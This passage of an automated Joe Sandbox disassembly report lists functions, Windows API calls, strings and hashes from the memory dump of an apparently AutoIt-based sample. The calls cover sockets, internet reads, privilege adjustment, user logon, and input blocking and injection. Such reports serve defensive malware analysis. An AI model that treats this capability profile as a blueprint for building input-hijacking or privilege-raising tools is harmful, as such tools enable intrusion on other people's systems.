FindNextFileW.KERNEL32(00000000,?), ref: 00C3C1EC
FindClose.KERNEL32(00000000,00000001,00000000), ref: 00C3C21C

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Find$File_wcscmp$CloseFirstNext
String ID:
API String ID: 2387731787-0
Opcode ID: 12df73f70e26568ea3bc4994b24ef48a7c2a22b7f3467e1fd8754252584b4a9b
Instruction ID: 9adf60a4c6de8aadee1173ab30c9c70b36629ffa5258f9014829e1525a68b2db
Opcode Fuzzy Hash: 12df73f70e26568ea3bc4994b24ef48a7c2a22b7f3467e1fd8754252584b4a9b
Instruction Fuzzy Hash: C8518A356146029FD714DFA8D8D0AAEB3E8FF49320F10466DF966973A1DB31AD04CB91

Function 00C46BF7 Relevance: 7.6, APIs: 5, Instructions: 141networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00C4823D: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 00C48268

socket.WSOCK32(00000002,00000002,00000011,?,?,00000000), ref: 00C46C4E
WSAGetLastError.WSOCK32(00000000), ref: 00C46C77
bind.WSOCK32(00000000,?,00000010), ref: 00C46CB0
WSAGetLastError.WSOCK32(00000000), ref: 00C46CBD
closesocket.WSOCK32(00000000,00000000), ref: 00C46CD1

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: ErrorLast$bindclosesocketinet_addrsocket
String ID:
API String ID: 99427753-0
Opcode ID: babacac6435741dfe9782988548043b7d262cbf641244befb20387576a155c70
Instruction ID: 802071eae82040e0634f12913e45239ff2091c11e1b0d84c09203dbcb92416dd
Opcode Fuzzy Hash: babacac6435741dfe9782988548043b7d262cbf641244befb20387576a155c70
Instruction Fuzzy Hash: B641D6757006106FDB20AF649C86F6EB3E9EF49710F04859DF956AB3D2DB709D008BA1

Function 00C5577B Relevance: 7.6, APIs: 5, Instructions: 69windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 00C557CA
IsWindowEnabled.USER32 ref: 00C557D8
GetForegroundWindow.USER32(?,?,00000001), ref: 00C557E5
IsIconic.USER32 ref: 00C557F3
IsZoomed.USER32 ref: 00C55801

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Window$EnabledForegroundIconicVisibleZoomed
String ID:
API String ID: 292994002-0
Opcode ID: 2743054fd31e17df02b7b7db59c8bd52747d6e02372fc33099ea84e987716058
Instruction ID: 7cd203742744c8d1410874453a2fb4308e80e0267302e8f790f2a1132eb877cb
Opcode Fuzzy Hash: 2743054fd31e17df02b7b7db59c8bd52747d6e02372fc33099ea84e987716058
Instruction Fuzzy Hash: 0A11C439700A119FE7215F27DC54B2FBB99FF48762B104429FC56E7241DB70ED418AA8

Function 00C4279E Relevance: 4.7, APIs: 3, Instructions: 164networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET(00000001,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,00C41CBA,00000000), ref: 00C42891
InternetReadFile.WININET(00000001,00000000,00000001,00000001), ref: 00C428C8

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Internet$AvailableDataFileQueryRead
String ID:
API String ID: 599397726-0
Opcode ID: c00cc495f2ca8e3ed44ccd26df27ff1bfbf914e15c56b629c24c584a8d4a291c
Instruction ID: b0ca9952e0f317fb1c13e5ab76273947f5b8c0bf49461723547d48fa14e617b2
Opcode Fuzzy Hash: c00cc495f2ca8e3ed44ccd26df27ff1bfbf914e15c56b629c24c584a8d4a291c
Instruction Fuzzy Hash: 9641B472904209BFEB20DA55CC86FBFB7FCFB40724F50406EF611A7181EAB19E459A64

Function 00C2917C Relevance: 4.6, APIs: 3, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 00BF0F16: std::exception::exception.LIBCMT ref: 00BF0F4C
Part of subcall function 00BF0F16: __CxxThrowException@8.LIBCMT ref: 00BF0F61

LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00C291C6
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00C291F3
GetLastError.KERNEL32 ref: 00C29200

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: AdjustErrorException@8LastLookupPrivilegePrivilegesThrowTokenValuestd::exception::exception
String ID:
API String ID: 1922334811-0
Opcode ID: bcb9b2a06d81737450cb528efbca2887f1956b1b32bb18ba8b13c4152665b798
Instruction ID: e5b9941e0a38c9d163abe88e7e628a7f3f41d379133ebeda7cab7fecebb0b021
Opcode Fuzzy Hash: bcb9b2a06d81737450cb528efbca2887f1956b1b32bb18ba8b13c4152665b798
Instruction Fuzzy Hash: B711BFB141820AAFD728AF55EC89E6FB7F8EB44711B20856EE45593611EB70AC00CB60

Function 00C340C1 Relevance: 4.6, APIs: 3, Instructions: 59fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 00C340DE
DeviceIoControl.KERNEL32(00000000,002D1400,?,0000000C,?,00000028,?,00000000), ref: 00C3411F
CloseHandle.KERNEL32(?,?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 00C3412A

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle
String ID:
API String ID: 33631002-0
Opcode ID: 2590c1c2bbfb19160959a3e7fec0fa4b1d6b67c830617a874e688c8578464e74
Instruction ID: 97db38cbb5266326878d316355c8ac2ab87402673b94a5ca1ee91f0c34c74c0a
Opcode Fuzzy Hash: 2590c1c2bbfb19160959a3e7fec0fa4b1d6b67c830617a874e688c8578464e74
Instruction Fuzzy Hash: 52115275E01228BFDB248F959C44FAFBFBCEB45B60F104155F914F7290D6715A018BA1

Function 00C34D89 Relevance: 4.5, APIs: 3, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00C34DB2
CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 00C34DC9
FreeSid.ADVAPI32(?), ref: 00C34DD9

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: ef03849e06d4309fef3967489c2b7be55840a02a72f5da9a8ea633513478db05
Instruction ID: bc6827fa896fa5939125fb95db3621e482439a85ce57b29289e9e56c38a99fcc
Opcode Fuzzy Hash: ef03849e06d4309fef3967489c2b7be55840a02a72f5da9a8ea633513478db05
Instruction Fuzzy Hash: 63F03C7591120CBFDB04DFE0DD89BAEB7B8EB08201F104469E501E2180D7706A448B50

Function 00C350A7 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

mouse_event.USER32(00000800,00000000,00000000,00000088,00000000), ref: 00C350DB

Strings

DOWN, xrefs: 00C350C0

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: mouse_event
String ID: DOWN
API String ID: 2434400541-711622031
Opcode ID: 6abe26da1ada37093e1b5f9457a1c7f82abeeb0299a6b5b8248288948518db26
Instruction ID: 979632767e644c3c3d0507f147482b8e17003f2312cab89edd3f5b191e7b4c27
Opcode Fuzzy Hash: 6abe26da1ada37093e1b5f9457a1c7f82abeeb0299a6b5b8248288948518db26
Instruction Fuzzy Hash: F6E08C322ACF2138F9A821247C06FBB03CC8B13734B201257F914AA0D2EDC62D8656AD

Function 00C31932 Relevance: 3.0, APIs: 2, Instructions: 32keyboardCOMMON

Download Yara Rule

APIs

SendInput.USER32(00000001,?,0000001C,?,?,00000002), ref: 00C3196D
keybd_event.USER32(?,75A4C0D0,?,00000000), ref: 00C31980

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: InputSendkeybd_event
String ID:
API String ID: 3536248340-0
Opcode ID: 32100f1a8210131d2f3c4c4005aef540a31ae375f18a0c4ca84d85d10d15ad84
Instruction ID: be89b7278c8ef77bbde2126549e02af0c91b28f7e59ca40645feb7929187a366
Opcode Fuzzy Hash: 32100f1a8210131d2f3c4c4005aef540a31ae375f18a0c4ca84d85d10d15ad84
Instruction Fuzzy Hash: E0F0497191420DAFDB10CF95C805BFEBBB4EF04315F10804AFD55A6291C3798615DF94

Function 00C3A51A Relevance: 3.0, APIs: 2, Instructions: 31windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00000FFF,00000000,?,?,00C4991A,?,00C6098C,?), ref: 00C3A547
FormatMessageW.KERNEL32(00001000,00000000,000000FF,00000000,?,00000FFF,00000000,?,?,00C4991A,?,00C6098C,?), ref: 00C3A559

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 9b921ee8b247bf53f55575c0f963c8129d9a9315696b4629e791d87aa42f68db
Instruction ID: e085fe4642cbbba5b9d0700da2805af01b255032b50a063fd39428cc0df59c08
Opcode Fuzzy Hash: 9b921ee8b247bf53f55575c0f963c8129d9a9315696b4629e791d87aa42f68db
Instruction Fuzzy Hash: 0FF0E23111022DABDB20AFA8CC48FEA77ACBF08361F008165F919D2180D6709A00CBA1

Function 00C28BCC Relevance: 3.0, APIs: 2, Instructions: 22COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00C28D0A), ref: 00C28BE1
CloseHandle.KERNEL32(?,?,00C28D0A), ref: 00C28BF3

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: a63cd60bde214fff7ce1165451f2da0600df3a63e78017e5e50dc7a9dff71608
Instruction ID: 3ff1d89dd1fd2f5f45706ba8854f3a10c916e0d5b06a8508e83945245b09928f
Opcode Fuzzy Hash: a63cd60bde214fff7ce1165451f2da0600df3a63e78017e5e50dc7a9dff71608
Instruction Fuzzy Hash: F8E08C72028610AFE7362B21FC09FB77BE9EF00311B20892DF59681431CBB2AC90DB50

Function 00BFA2B5 Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,00BF8EB7,?,?,?,00000001), ref: 00BFA2BA
UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 00BFA2C3

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: b2ce42b11ecbb7520a5108834ee34bec068e5a23a31d7048e2707a2f4a0fcc64
Instruction ID: 17dcd3377d2822a504bf7cc654973fbd6950eb6cb1a9aec4ac5ca671e5ae7273
Opcode Fuzzy Hash: b2ce42b11ecbb7520a5108834ee34bec068e5a23a31d7048e2707a2f4a0fcc64
Instruction Fuzzy Hash: 9CB09231064608ABCA502B92EC09B8E3F68EB44A63F104020F60D54270EBE254508A91

Function 00C443B9 Relevance: 1.5, APIs: 1, Instructions: 25keyboardCOMMON

Download Yara Rule

APIs

BlockInput.USER32(00000001), ref: 00C443D4

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: BlockInput
String ID:
API String ID: 3456056419-0
Opcode ID: 0bbe6c517c1d24e462c8e3ef06ff798427e30b52c6e8ccdc11a74216f6e32c37
Instruction ID: 59e9e52f376602d27a2a5086682f0b301172ef2535cade94c91a6a930105690b
Opcode Fuzzy Hash: 0bbe6c517c1d24e462c8e3ef06ff798427e30b52c6e8ccdc11a74216f6e32c37
Instruction Fuzzy Hash: 58E04F752002059FD710EF5AE805B9BF7E8AFA8760F108466FD49D7361DAB0EC518B90

Function 00C2914C Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

LogonUserW.ADVAPI32(?,00000001,?,?,00000000,00C28D8A), ref: 00C2916C

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: LogonUser
String ID:
API String ID: 1244722697-0
Opcode ID: 95d5d0d69985a510f2ae1ab39fd899e91ac66154085d4b3f26a701bd3d3b10d7
Instruction ID: f63666281da4acf089e5d97508f75c2eac51b8b322d01fe9f2dd0606bb0722b4
Opcode Fuzzy Hash: 95d5d0d69985a510f2ae1ab39fd899e91ac66154085d4b3f26a701bd3d3b10d7
Instruction Fuzzy Hash: E2D05E3226050EBBEF018EA4DD01FAF3B69EB04B01F408111FE15D50A0C775D835AB60

Function 00C10652 Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 00C10664

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 6a376ee32c61c9d19ff212a4e5ab9ed77e9826dbc924c29f90b30ab8b6088f50
Instruction ID: e9a2f8b6634eb06f945d3b40e0cbcbb9ab8f47eb1d426771d7f8808c6781b9de
Opcode Fuzzy Hash: 6a376ee32c61c9d19ff212a4e5ab9ed77e9826dbc924c29f90b30ab8b6088f50
Instruction Fuzzy Hash: 3CC04CF1800119DBCB15DB91DA98EEF77BCAB04305F20045AE101F2140D7749B44CE71

Function 00BFA284 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(?), ref: 00BFA28A

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 96c4afd2ea1e243768060ac065d5bd4fb6136bb343399466e63dac7521c6ff51
Instruction ID: 6edea7b9a8a2ca1832c0a88f355d747296a1063f4fbd128dceab2c928e3efeb3
Opcode Fuzzy Hash: 96c4afd2ea1e243768060ac065d5bd4fb6136bb343399466e63dac7521c6ff51
Instruction Fuzzy Hash: C8A0243001010CF7CF001F43FC0454D7F5CD7001517004030F40C00131D773541045C0

Function 00C47CB8 Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 491filecommemoryCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00C47D0D
DeleteObject.GDI32(00000000), ref: 00C47D1F
DestroyWindow.USER32 ref: 00C47D2D
GetDesktopWindow.USER32 ref: 00C47D47
GetWindowRect.USER32(00000000), ref: 00C47D4E
SetRect.USER32(?,00000000,00000000,000001F4,00000190), ref: 00C47E8F
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000002), ref: 00C47E9F
CreateWindowExW.USER32(00000002,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00C47EE7
GetClientRect.USER32(00000000,?), ref: 00C47EF3
CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 00C47F2D
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00C47F4F
GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00C47F62
GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00C47F6D
GlobalLock.KERNEL32(00000000), ref: 00C47F76
ReadFile.KERNEL32(00000000,00000000,00000000,00000190,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00C47F85
GlobalUnlock.KERNEL32(00000000), ref: 00C47F8E
CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00C47F95
GlobalFree.KERNEL32(00000000), ref: 00C47FA0
CreateStreamOnHGlobal.OLE32(00000000,00000001,88C00000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00C47FB2
OleLoadPicture.OLEAUT32(88C00000,00000000,00000000,00C63C7C,00000000), ref: 00C47FC8
GlobalFree.KERNEL32(00000000), ref: 00C47FD8
CopyImage.USER32(000001F4,00000000,00000000,00000000,00002000), ref: 00C47FFE
SendMessageW.USER32(?,00000172,00000000,000001F4), ref: 00C4801D
SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00C4803F
ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00C4822C

Strings

static, xrefs: 00C47F27, 00C4807E
DISPLAY, xrefs: 00C4808F
AutoIt v3, xrefs: 00C47EDF
, xrefs: 00C481B2

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
String ID: $AutoIt v3$DISPLAY$static
API String ID: 2211948467-2373415609
Opcode ID: 1fb829ddf3be7ade3e79c786d71faedea53463356b798b033ff35f7887327fec
Instruction ID: baa5176ac6726de80525ef7eb092d2667ff4de1d169d9cfe35f53b233ab64fcd
Opcode Fuzzy Hash: 1fb829ddf3be7ade3e79c786d71faedea53463356b798b033ff35f7887327fec
Instruction Fuzzy Hash: 2D025A71900519AFDB24DFA5CD89FAEBBB9FF48310F108159F915AB2A1DB70AD01CB60

Function 00C53971 Relevance: 51.1, APIs: 6, Strings: 23, Instructions: 365windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,00C60980), ref: 00C53A2D
IsWindowVisible.USER32(?), ref: 00C53A51

Strings

SHOWDROPDOWN, xrefs: 00C53AE6
CHECK, xrefs: 00C53C73
